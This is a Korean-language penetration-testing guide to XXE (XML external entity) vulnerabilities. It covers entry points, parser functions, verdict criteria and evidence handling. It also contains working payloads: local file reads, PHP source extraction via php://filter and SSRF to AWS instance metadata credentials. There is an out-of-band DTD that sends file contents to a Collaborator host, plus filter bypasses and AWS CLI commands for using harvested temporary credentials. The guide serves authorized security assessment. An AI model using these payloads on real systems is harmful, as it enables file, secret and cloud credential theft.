Skip to main content

XXE

점검 목적​

XML을 처리하는 엔드포인트가 DTD(Document Type Definition)와 외부 엔티티(External Entity)를 차단하지 않은 채 파싱하는지 확인한다. 성공 시 서버 로컬 파일 읽기, 내부망/metadata SSRF, 애플리케이션 설정·credential 노출로 이어질 수 있다.

유형 구분​

유형특징실무 판단
In-band엔티티 참조 결과가 응답 본문, 에러, 변환 결과물에 직접 노출/etc/hostname, win.ini처럼 영향이 낮은 파일로 먼저 확인
Blind / OOB응답은 같지만 서버가 외부 DTD, DNS, HTTP 요청을 보냄Collaborator/interactsh에 DTD fetch와 exfil 요청이 오는지 확인
Error-based파일 내용을 에러 메시지에 끼워 넣어 노출모던 파서에서는 드묾. 상세 XML 에러가 노출될 때만 보조 확인
SSRF via XXE외부 엔티티 URL이 서버 측 요청으로 처리됨169.254.169.254, 내부 HTTP 서비스 접근 여부 확인
XML Bomb / DoS중첩 엔티티로 CPU/메모리 고갈 유발운영 진단 기본 페이로드로 쓰지 않음. 방어 설정 확인용으로만 언급

진단 절차​

Step 1. 진입점 식별​

XML 파서가 지나가는 기능을 먼저 찾는다. Content-Type과 파일 포맷이 가장 빠른 단서다.

  • application/xml, text/xml
  • application/soap+xml SOAP API
  • image/svg+xml SVG 업로드, 아이콘, 프로필 이미지
  • SAML Response, SSO 연동 XML
  • RSS/Atom/OPML import, sitemap 제출
  • DOCX/XLSX/PPTX/PDF 변환처럼 내부 XML을 후처리하는 업로드
  • API가 JSON처럼 보여도 Content-Type: application/xml로 바꾸면 같은 라우트가 XML을 받는 경우

코드 검토가 가능하면 아래 함수를 우선 본다.

스택위험 지점
JavaDocumentBuilderFactory, SAXParserFactory, SAXReader, JAXB, dom4j
.NETXmlDocument, XmlReader, XDocument, DataSet.ReadXml()
PHPsimplexml_load_string(), DOMDocument::loadXML(), XMLReader
Pythonxml.etree, lxml, minidom, sax
Node.jslibxmljs, xml2js, xmldom, SOAP/XML middleware

Step 2. DOCTYPE 처리 여부 확인​

정상 XML 요청을 baseline으로 저장한 뒤, 영향이 낮은 파일부터 확인한다.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/hostname"> ]>
<root><name>&xxe;</name></root>

Windows 후보는 아래처럼 본다.

<?xml version="1.0"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///c:/windows/win.ini"> ]>
<root><name>&xxe;</name></root>

응답에 파일 내용이 보이면 In-band XXE다. 응답이 같아도 XML 에러, status, length, 처리 시간, 후처리 파일 변화를 같이 비교한다.

Step 3. 컨텍스트별 빠른 선택​

입력 컨텍스트먼저 넣을 값볼 것
XML API bodyfile:///etc/hostname 엔티티응답 필드에 파일 내용이 섞이는지
SOAP APISOAP envelope 내부 값에 &xxe;XML fault, SOAP response, 서버 로그 반영
SVG 업로드SVG 내부 text에 &xxe;미리보기 이미지, 변환 PNG/PDF, OCR/메타데이터
SAML/XML 서명서명 검증 전 XML 파싱 여부DTD 허용 여부. 서명 우회와 섞어 판단하지 않기
Office 업로드내부 XML에 외부 엔티티변환/미리보기/색인 과정에서 콜백 발생
응답 미노출외부 DTD URLCollaborator/interactsh DNS/HTTP 요청
Cloud 후보IMDS URL 엔티티role name, instance document, credential JSON 노출

Step 4. 관찰 결과별 판단​

관찰 결과바로 판단다음 행동
응답에 hostname/passwd/win.ini 일부가 보임In-band XXE 확정설정 파일, cloud metadata, 소스코드로 영향 확인
응답은 같고 Collaborator에 DTD fetch만 옴Blind XXE 후보외부 DTD로 파일 exfil 또는 내부 URL fetch 확인
DTD fetch와 ?d= exfil 요청이 모두 옴Blind XXE 확정어떤 파일/값이 나왔는지 최소 증거 저장
DOCTYPE is disallowed 류 에러방어 설정 가능성 높음다른 XML parser 경로나 SVG/Office 후처리로 전환
XML syntax error만 발생단순 파싱 실패 가능성정상 XML 구조에 맞춰 엔티티 위치 조정
외부 HTTP URL 결과가 응답에 보임SSRF via XXE 가능localhost/internal/metadata로 확장
업로드는 성공했지만 화면 변화 없음후처리형 후보썸네일, 변환 파일, 관리자 검수, 비동기 작업 시점 확인

Step 5. 영향 확인​

취약 확정 후에는 단순 /etc/passwd보다 실제 위험을 보여주는 값을 좁혀 확인한다.

  • 로컬 파일: /etc/hostname, /etc/passwd, /proc/self/environ, c:/windows/win.ini
  • 애플리케이션 설정: .env, application.properties, application.yml, web.config, wp-config.php
  • PHP 소스코드: php://filter/convert.base64-encode/resource=...
  • Cloud metadata: AWS/GCP/Azure instance metadata, role name, temporary credential
  • 내부 서비스: localhost admin UI, Spring Actuator, Elasticsearch, Consul, Docker API

페이로드 노트​

1. 기본 In-band 파일 읽기​

가장 먼저 서버가 외부 엔티티를 실제 값으로 치환하는지 본다.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck>
<productId>&xxe;</productId>
<storeId>1</storeId>
</stockCheck>

판정:

  • root:x:0:0: 같은 문자열이 응답에 보이면 취약
  • 파일 내용 일부만 보이면 XML 문자 제약, 출력 길이 제한, 필드 검증을 의심
  • 500만 발생하면 에러 본문을 확인하고, 같은 구조에서 /etc/hostname으로 낮춰 재시도

2. Windows 파일 확인​

Windows/IIS/.NET 후보는 win.ini가 가볍다.

<?xml version="1.0"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///c:/windows/win.ini"> ]>
<root><name>&xxe;</name></root>

[fonts], [extensions] 같은 문자열이 보이면 파일 읽기 가능으로 본다.

3. PHP wrapper로 소스코드 추출​

대상이 PHP이고 In-band XXE가 가능하면 일반 .php 파일은 실행되어 소스가 안 보일 수 있다. 이때 base64 wrapper로 읽는다.

<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/config.php">
]>
<root><name>&xxe;</name></root>

응답의 base64를 디코드해 DB 접속 정보, API key, JWT secret 같은 값이 있는지 본다.

echo "PD9waHAgLi4u" | base64 -d

4. SSRF via XXE​

외부 엔티티가 http:// URL도 가져오면 XXE가 SSRF로 확장된다.

<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://127.0.0.1:8080/">
]>
<root><name>&xxe;</name></root>

AWS IMDSv1 후보:

<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">
]>
<root><name>&xxe;</name></root>

role name이 나오면 한 번 더 조회한다.

<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/<ROLE_NAME>">

응답에 AccessKeyId, SecretAccessKey, Token이 보이면 Critical 영향이다. GCP/Azure metadata는 header가 필요한 경우가 많아, 단순 URL fetcher만으로는 token 조회가 막힐 수 있다.

5. SVG 업로드 XXE​

이미지 업로드에서 SVG가 허용되면 XML 파서를 거치는지 확인한다.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "file:///etc/hostname"> ]>
<svg xmlns="http://www.w3.org/2000/svg" width="400" height="120">
<text x="20" y="60" font-size="18">&xxe;</text>
</svg>

볼 것:

  • 업로드 직후 미리보기
  • 서버가 변환한 PNG/JPG/PDF
  • 다운로드된 원본/변환본의 텍스트·메타데이터
  • 관리자 검수 화면이나 썸네일 생성 시점

텍스트가 이미지에 보이지 않아도 후처리 서버가 외부 DTD를 가져가는 Blind 케이스가 있다. SVG 파일명과 payload marker를 매번 바꿔 트리거 시점을 분리한다.

6. Blind XXE - OOB DTD fetch​

응답에 노출이 없으면 외부 DTD를 가져가도록 유도한다.

<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://<COLLAB>.oastify.com/xxe.dtd">
%xxe;
]>
<root><name>test</name></root>

Collaborator에 DNS/HTTP 요청이 오면 서버가 외부 엔티티를 해석한 것이다. 이 단계만으로는 파일 읽기까지 입증된 것은 아니므로, 가능하면 아래 exfil까지 확인한다.

7. Blind XXE - OOB 데이터 추출​

외부 서버에서 xxe.dtd를 제공한다.

<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://<COLLAB>.oastify.com/?d=%file;'>">
%eval;
%exfil;

판정:

  • 첫 번째 요청: 대상 서버가 xxe.dtd를 가져감
  • 두 번째 요청: ?d=<파일내용> 형태로 데이터가 빠져나감
  • DNS만 오고 HTTP가 없으면 egress 정책 또는 resolver 동작을 의심

파라미터 엔티티(%)를 다른 엔티티 정의에 쓰려면 외부 DTD 분리가 필요하다. 단일 XML 내부에 모두 넣으면 파서에서 거부되는 경우가 많다.

8. Error-based XXE​

상세 XML 에러가 응답에 노출될 때만 보조로 확인한다.

<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///not-found/%file;'>">
%eval;
%error;
]>
<root>test</root>

에러 메시지의 경로에 파일 내용이 섞이면 취약이다. 대부분의 현대 파서는 이 패턴을 막거나 에러를 축약하므로 우선순위는 낮다.

9. Office / ZIP 기반 XML​

DOCX/XLSX/PPTX는 내부 XML을 수정해 재압축해야 하므로 운영 점검에서는 SVG보다 느리다. 다만 문서 변환 서버, 미리보기, 색인 기능이 강하게 의심되면 확인한다.

1. 파일 압축 해제
2. word/document.xml 또는 xl/sharedStrings.xml에 DOCTYPE 삽입
3. 원래 ZIP 구조로 재압축
4. 업로드 후 변환/미리보기/색인 트리거 확인
5. Collaborator hit 또는 변환 결과물 확인

10. XML Bomb은 기본 사용하지 않기​

Billion Laughs 같은 중첩 엔티티 payload는 서비스 가용성에 영향을 줄 수 있다. 실무 진단에서는 직접 실행보다 parser 설정에서 entity expansion limit, DTD 비활성화 여부를 확인하는 방식으로 다룬다.


우회 매트릭스​

필터 증상우회 방향예시
DOCTYPE 문자열 차단대소문자, 공백, XML 구조 위치 변경<!DoCtYpE foo [...]>
SYSTEM 차단PUBLIC identifier 확인<!ENTITY xxe PUBLIC "id" "file:///etc/hostname">
file:// 차단HTTP 엔티티로 SSRF/OOB 확인http://127.0.0.1:8080/
응답 본문 미노출Blind DTD fetchhttp://<COLLAB>/xxe.dtd
외부 HTTP 차단로컬 파일만 확인file:///etc/hostname
특정 파일 차단더 낮은 영향 파일부터/etc/hostname, c:/windows/win.ini
XML 특수문자 때문에 출력 깨짐base64 wrapper, 짧은 파일php://filter/convert.base64-encode/...
SVG 텍스트 미표시변환본/메타데이터/OOB 확인PNG/PDF 변환 결과, Collaborator
첫 요청만 검증stored/async 후처리 확인저장 후 미리보기, 관리자 검수, 배치 변환
IMDS 응답 없음IMDSv2/header 필요성 분리SSRF 문서의 metadata 흐름 참고

취약 판정 기준​

다음 중 하나라도 안정적으로 재현되면 취약으로 본다.

  • 외부 엔티티 값이 응답에 치환되어 로컬 파일 내용이 노출됨
  • SVG/Office/XML 업로드 후 변환 결과물에 파일 내용이 노출됨
  • PHP wrapper 등으로 애플리케이션 소스코드 또는 설정 파일이 추출됨
  • Collaborator/interactsh에 외부 DTD fetch와 데이터 exfil 요청이 수신됨
  • XXE를 통해 localhost, 내부망, cloud metadata 응답이 노출됨
  • XML 에러 메시지에 파일 내용 또는 내부 경로가 의미 있게 노출됨

다음은 후보 또는 보류로 둔다.

  • 단순 500 응답만 발생하고 파일 내용, 콜백, 에러 상세가 없음
  • DOCTYPE is disallowed처럼 DTD 차단 에러가 명확함
  • 외부 DTD fetch만 가능하고 파일 읽기/내부 접근은 차단됨
  • 클라이언트 브라우저에서만 외부 요청이 발생함
  • 정상 XML validation 오류와 XXE payload 오류가 구분되지 않음

영향도가 올라가는 조건:

  • cloud temporary credential을 획득하고 caller identity 확인 가능
  • .env, application.yml, web.config, wp-config.php 등에서 secret 노출
  • 내부 관리자/API/Actuator/metadata 응답이 In-band로 노출
  • Stored/Async 업로드 경로에서 관리자 또는 백엔드 배치가 트리거
  • XXE가 SSRF, LFI, credential reuse와 체인 가능

블라인드 모의해킹 확장​

취약점 진단에서는 파일 한 개 또는 콜백 수신으로 멈추지만, 블라인드 모의해킹에서는 서버 위치에서 접근 가능한 내부 자산과 credential 사용 가능성까지 확인한다.

단계확인할 것증거 기준
1. 요청 주체source IP, User-Agent, DNS/HTTP 도달 여부Collaborator/interactsh 로그
2. 파서 위치웹 서버 즉시 처리인지, 변환/배치/관리자 후처리인지요청 시각, unique marker, 기능명
3. 파일 접근hostname, environ, 앱 설정 파일원문 일부와 파일 경로
4. 내부 접근localhost, 사설 IP, metadata endpoint응답 샘플, status/length/time 차이
5. Credential 사용cloud role/token, DB/API keycaller identity, 제한된 list/read 권한
6. 체인 확장SSRF, LFI, deserialization, file upload 후처리실제 접근 가능한 내부 기능

OOB 인프라 확인​

Blind XXE는 인프라 로그가 증거다. payload마다 marker를 바꿔 어느 기능이 요청을 보냈는지 분리한다.

xxe-api-<RANDOM>.<COLLAB>.oastify.com
xxe-svg-<RANDOM>.<COLLAB>.oastify.com
xxe-docx-<RANDOM>.<COLLAB>.oastify.com

로그에서 아래 값을 남긴다.

timestamp
source IP
DNS only / HTTP reached
HTTP method
User-Agent
requested path and query

파일 / 설정 추출 후보​

파일 읽기가 가능하면 전체 파일 수집보다 credential 후보가 있는 경로를 좁힌다.

file:///etc/hostname
file:///proc/self/environ
file:///app/.env
file:///var/www/html/.env
file:///var/www/html/config.php
file:///opt/app/application.properties
file:///opt/app/application.yml
file:///c:/inetpub/wwwroot/web.config

PHP는 소스코드가 실행되어 사라질 수 있으므로 php://filter를 우선 사용한다.

내부 / Metadata 접근 확인​

XXE가 HTTP URL을 가져오면 SSRF처럼 내부 접근을 본다.

http://127.0.0.1/
http://127.0.0.1:8080/actuator/env
http://127.0.0.1:9200/_cluster/health
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/

credential이 나오면 승인 범위 안에서 별도 안전한 터미널로 사용 가능성을 확인한다.

AWS_ACCESS_KEY_ID=<AccessKeyId> \
AWS_SECRET_ACCESS_KEY=<SecretAccessKey> \
AWS_SESSION_TOKEN=<Token> \
aws sts get-caller-identity

권한 확인은 읽기 중심으로 제한한다.

aws s3 ls
aws secretsmanager list-secrets --max-items 10
aws ssm describe-parameters --max-results 10

증거 정리​

보고용 문장보다 재현 가능한 증거를 우선 남긴다.

  • 취약 endpoint, method, Content-Type
  • 정상 XML과 payload XML의 차이
  • 응답 본문 또는 변환 결과물에서 확인한 값
  • OOB 로그 원문: timestamp, source IP, path/query
  • 추출한 파일 경로와 최소 원문 일부
  • 내부/metadata 접근 시 status, length, 응답 샘플

참고자료​

공식 및 테스트 가이드​

커뮤니티 참고 / 도구​